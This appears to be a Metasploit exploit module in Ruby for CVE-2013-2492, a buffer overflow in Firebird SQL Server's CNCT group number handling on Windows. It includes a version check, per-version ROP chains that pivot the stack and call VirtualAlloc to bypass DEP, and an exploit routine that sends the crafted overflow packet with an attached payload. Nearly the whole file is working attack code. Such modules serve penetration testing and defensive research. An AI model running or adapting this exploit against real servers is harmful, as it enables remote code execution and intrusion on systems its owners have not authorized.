267 lines
11 KiB
Ruby
267 lines
11 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'Firebird Relational Database CNCT Group Number Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a vulnerability in Firebird SQL Server. A specially
|
|
crafted packet can be sent which will overwrite a pointer allowing the attacker to
|
|
control where data is read from. Shortly, following the controlled read, the
|
|
pointer is called resulting in code execution.
|
|
|
|
The vulnerability exists with a group number extracted from the CNCT information,
|
|
which is sent by the client, and whose size is not properly checked.
|
|
|
|
This module uses an existing call to memcpy, just prior to the vulnerable code,
|
|
which allows a small amount of data to be written to the stack. A two-phases
|
|
stackpivot allows to execute the ROP chain which ultimately is used to execute
|
|
VirtualAlloc and bypass DEP.
|
|
},
|
|
'Author' => 'Spencer McIntyre',
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'win',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2013-2492' ],
|
|
[ 'OSVDB', '91044' ]
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'seh'
|
|
},
|
|
'Payload' =>
|
|
{
|
|
# Stackpivot => mov eax,fs:[0x18] # add eax,8 # mov esp,[eax]
|
|
'Prepend' => "\x64\xa1\x18\x00\x00\x00\x83\xc0\x08\x8b\x20",
|
|
'Space' => 400,
|
|
'BadChars' => "\x00\x0a\x0d"
|
|
},
|
|
'Targets' =>
|
|
[
|
|
# pivots are pointers to stack pivots of size 0x28
|
|
[ 'Windows FB 2.5.2.26539', { 'pivot' => 0x005ae1fc, 'rop_nop' => 0x005b0384, 'rop_pop' => 0x4a831344 } ],
|
|
[ 'Windows FB 2.5.1.26351', { 'pivot' => 0x4add2302, 'rop_nop' => 0x00424a50, 'rop_pop' => 0x00656472 } ],
|
|
[ 'Windows FB 2.1.5.18496', { 'pivot' => 0x4ad5df4d, 'rop_nop' => 0x0042ba8c, 'rop_pop' => 0x005763d5 } ],
|
|
[ 'Windows FB 2.1.4.18393', { 'pivot' => 0x4adf4ed5, 'rop_nop' => 0x00423b82, 'rop_pop' => 0x4a843429 } ],
|
|
[ 'Debug', { 'pivot' => 0xdead1337, 'rop_nop' => 0xdead1337, 'rop_pop' => 0xdead1337 } ]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'Privileged' => true,
|
|
'DisclosureDate' => 'Jan 31 2013'
|
|
)
|
|
|
|
register_options([Opt::RPORT(3050)], self.class)
|
|
end
|
|
|
|
def check
|
|
begin
|
|
connect
|
|
rescue
|
|
vprint_error("Unable to get a connection")
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
filename = "C:\\#{rand_text_alpha(12)}.fdb"
|
|
username = rand_text_alpha(7)
|
|
|
|
check_data = ""
|
|
check_data << "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x24"
|
|
check_data << "\x00\x00\x00\x13"
|
|
check_data << filename
|
|
check_data << "\x00\x00\x00\x00\x04\x00\x00\x00\x24"
|
|
check_data << "\x01\x07" << username << "\x04\x15\x6c\x6f\x63\x61\x6c"
|
|
check_data << "\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e"
|
|
check_data << "\x06\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02"
|
|
check_data << "\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x0a\x00\x00\x00\x01"
|
|
check_data << "\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xff\xff\x80\x0b"
|
|
check_data << "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x06"
|
|
check_data << "\xff\xff\x80\x0c\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05"
|
|
check_data << "\x00\x00\x00\x08"
|
|
|
|
sock.put(check_data)
|
|
data = sock.recv(16)
|
|
disconnect
|
|
|
|
opcode = data.unpack("N*")[0]
|
|
if opcode == 3 # Accept
|
|
return Exploit::CheckCode::Detected
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def stack_pivot_rop_chain
|
|
case target.name
|
|
when 'Windows FB 2.5.2.26539'
|
|
rop_chain = [
|
|
0x005e1ea4, # MOV EAX,EDI # RETN [fbserver.exe]
|
|
0x0059ffeb, # POP EBP # RETN [fbserver.exe]
|
|
0x0000153c, # 0x0000153c-> ebp
|
|
0x005d261f, # ADD EBP,EAX # MOV EBX,59FFFFC9 # RETN [fbserver.exe]
|
|
0x0059fe1f, # MOV ESP,EBP # POP EBP # RETN [fbserver.exe]
|
|
].pack("V*")
|
|
when 'Windows FB 2.5.1.26351'
|
|
rop_chain = [
|
|
0x005e1ab8, # MOV EAX,EDI # RETN [fbserver.exe]
|
|
0x0059650b, # POP EBP # RETN [fbserver.exe]
|
|
0x0000153c, # 0x0000153c-> ebp
|
|
0x005cf6ff, # ADD EBP,EAX # MOV EBX,59FFFFC9 # RETN [fbserver.exe]
|
|
0x0059a3db, # MOV ESP,EBP # POP EBP # RETN [fbserver.exe]
|
|
].pack("V*")
|
|
when 'Windows FB 2.1.5.18496'
|
|
rop_chain = [
|
|
0x0055b844, # MOV EAX,EDI # RETN [fbserver.exe]
|
|
0x4a86ee77, # POP ECX # RETN [icuuc30.dll]
|
|
0x000001c0, # 0x000001c0-> ecx
|
|
0x005aee63, # ADD EAX,ECX # RETN [fbserver.exe]
|
|
0x4a82d326, # XCHG EAX,ESP # RETN [icuuc30.dll]
|
|
].pack("V*")
|
|
when 'Windows FB 2.1.4.18393'
|
|
rop_chain = [
|
|
0x0042264c, # MOV EAX,EDI # RETN [fbserver.exe]
|
|
0x4a8026e1, # POP ECX # RETN [icuuc30.dll]
|
|
0x000001c0, # 0x000001c0-> ecx
|
|
0x004c5499, # ADD EAX,ECX # RETN [fbserver.exe]
|
|
0x4a847664, # XCHG EAX,ESP # RETN [icuuc30.dll]
|
|
].pack("V*")
|
|
when 'Debug'
|
|
rop_chain = [ ].fill(0x41414141, 0..5).pack("V*")
|
|
end
|
|
return rop_chain
|
|
end
|
|
|
|
def final_rop_chain
|
|
# all rop chains in here created with mona.py, thanks corelan!
|
|
case target.name
|
|
when 'Windows FB 2.5.2.26539'
|
|
rop_chain = [
|
|
0x4a831344, # POP ECX # RETN [icuuc30.dll]
|
|
0x0065f16c, # ptr to &VirtualAlloc() [IAT fbserver.exe]
|
|
0x005989f0, # MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe]
|
|
0x004666a6, # XCHG EAX,ESI # RETN [fbserver.exe]
|
|
0x00431905, # POP EBP # RETN [fbserver.exe]
|
|
0x00401932, # & push esp # ret [fbserver.exe]
|
|
0x4a844ac0, # POP EBX # RETN [icuuc30.dll]
|
|
0x00001000, # 0x00001000-> ebx
|
|
0x4a85bfee, # POP EDX # RETN [icuuc30.dll]
|
|
0x00001000, # 0x00001000-> edx
|
|
0x005dae9e, # POP ECX # RETN [fbserver.exe]
|
|
0x00000040, # 0x00000040-> ecx
|
|
0x0057a822, # POP EDI # RETN [fbserver.exe]
|
|
0x005b0384, # RETN (ROP NOP) [fbserver.exe]
|
|
0x0046f8c3, # POP EAX # RETN [fbserver.exe]
|
|
0x90909090, # nop
|
|
0x00586002, # PUSHAD # RETN [fbserver.exe]
|
|
].pack("V*")
|
|
when 'Windows FB 2.5.1.26351'
|
|
rop_chain = [
|
|
0x00656472, # POP ECX # RETN [fbserver.exe]
|
|
0x0065b16c, # ptr to &VirtualAlloc() [IAT fbserver.exe]
|
|
0x00410940, # MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe]
|
|
0x0063be76, # XCHG EAX,ESI # RETN [fbserver.exe]
|
|
0x0041d1ae, # POP EBP # RETN [fbserver.exe]
|
|
0x0040917f, # & call esp [fbserver.exe]
|
|
0x4a8589c0, # POP EBX # RETN [icuuc30.dll]
|
|
0x00001000, # 0x00001000-> ebx
|
|
0x4a864cc3, # POP EDX # RETN [icuuc30.dll]
|
|
0x00001000, # 0x00001000-> edx
|
|
0x0064ef59, # POP ECX # RETN [fbserver.exe]
|
|
0x00000040, # 0x00000040-> ecx
|
|
0x005979fa, # POP EDI # RETN [fbserver.exe]
|
|
0x00424a50, # RETN (ROP NOP) [fbserver.exe]
|
|
0x4a86052d, # POP EAX # RETN [icuuc30.dll]
|
|
0x90909090, # nop
|
|
0x005835f2, # PUSHAD # RETN [fbserver.exe]
|
|
].pack("V*")
|
|
when 'Windows FB 2.1.5.18496'
|
|
rop_chain = [
|
|
0x005763d5, # POP EAX # RETN [fbserver.exe]
|
|
0x005ce120, # ptr to &VirtualAlloc() [IAT fbserver.exe]
|
|
0x004865a4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [fbserver.exe]
|
|
0x004cf4f6, # XCHG EAX,ESI # RETN [fbserver.exe]
|
|
0x004e695a, # POP EBP # RETN [fbserver.exe]
|
|
0x004d9e6d, # & jmp esp [fbserver.exe]
|
|
0x4a828650, # POP EBX # RETN [icuuc30.dll]
|
|
0x00001000, # 0x00001000-> ebx
|
|
0x4a85bfee, # POP EDX # RETN [icuuc30.dll]
|
|
0x00001000, # 0x00001000-> edx
|
|
0x00590328, # POP ECX # RETN [fbserver.exe]
|
|
0x00000040, # 0x00000040-> ecx
|
|
0x4a8573a1, # POP EDI # RETN [icuuc30.dll]
|
|
0x0042ba8c, # RETN (ROP NOP) [fbserver.exe]
|
|
0x00577605, # POP EAX # RETN [fbserver.exe]
|
|
0x90909090, # nop
|
|
0x004530ce, # PUSHAD # RETN [fbserver.exe]
|
|
].pack("V*")
|
|
when 'Windows FB 2.1.4.18393'
|
|
rop_chain = [
|
|
0x4a843429, # POP ECX # RETN [icuuc30.dll]
|
|
0x005ca120, # ptr to &VirtualAlloc() [IAT fbserver.exe]
|
|
0x0055a870, # MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe]
|
|
0x004cecf6, # XCHG EAX,ESI # RETN [fbserver.exe]
|
|
0x004279c0, # POP EBP # RETN [fbserver.exe]
|
|
0x0040747d, # & call esp [fbserver.exe]
|
|
0x004ebef1, # POP EBX # RETN [fbserver.exe]
|
|
0x00001000, # 0x00001000-> ebx
|
|
0x4a864c5e, # POP EDX # RETN [icuuc30.dll]
|
|
0x00001000, # 0x00001000-> edx
|
|
0x004eaa3b, # POP ECX # RETN [fbserver.exe]
|
|
0x00000040, # 0x00000040-> ecx
|
|
0x4a8330a2, # POP EDI # RETN [icuuc30.dll]
|
|
0x00423b82, # RETN (ROP NOP) [fbserver.exe]
|
|
0x0046b5b1, # POP EAX # RETN [fbserver.exe]
|
|
0x90909090, # nop
|
|
0x004c8cfc, # PUSHAD # RETN [fbserver.exe]
|
|
].pack("V*")
|
|
when 'Debug'
|
|
rop_chain = [ ].fill(0x41414141, 0..17).pack("V*")
|
|
end
|
|
return rop_chain
|
|
end
|
|
|
|
def exploit
|
|
connect
|
|
|
|
rop_nop_sled = [ ].fill(target['rop_nop'], 0..16).pack("V*")
|
|
|
|
# this data gets written to the stack via memcpy, no more than 32 bytes can be written
|
|
overwrite_and_rop_chain = [ target['rop_pop'] ].pack("V") # POP to skip the 4 bytes of the original pivot
|
|
overwrite_and_rop_chain << [ (target['pivot'] - 8) ].pack("V") # MOV EDX,DWORD PTR DS:[EAX+8]
|
|
overwrite_and_rop_chain << stack_pivot_rop_chain
|
|
|
|
filename = "C:\\#{rand_text_alpha(13)}.fdb"
|
|
evil_data = "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x24"
|
|
evil_data << "\x00\x00\x00\x14"
|
|
evil_data << filename
|
|
evil_data << "\x00\x00\x00\x04\x00\x00\x00\x24"
|
|
evil_data << "\x05\x20"
|
|
evil_data << overwrite_and_rop_chain
|
|
evil_data << "\x15\x6c\x6f\x63\x61\x6c"
|
|
evil_data << "\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e"
|
|
evil_data << "\x06\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02"
|
|
evil_data << "\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x0a\x00\x00\x00\x01"
|
|
evil_data << "\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xff\xff\x80\x0b"
|
|
evil_data << "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x06"
|
|
evil_data << "\x41\x41\x41\x41\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05"
|
|
evil_data << "\x00\x00\x00\x08\x00\x41\x41\x41"
|
|
evil_data << rop_nop_sled
|
|
evil_data << final_rop_chain
|
|
evil_data << payload.encoded
|
|
|
|
print_status("#{rhost}:#{rport} - Sending Connection Request For #{filename}")
|
|
sock.put(evil_data)
|
|
|
|
disconnect
|
|
end
|
|
|
|
end
|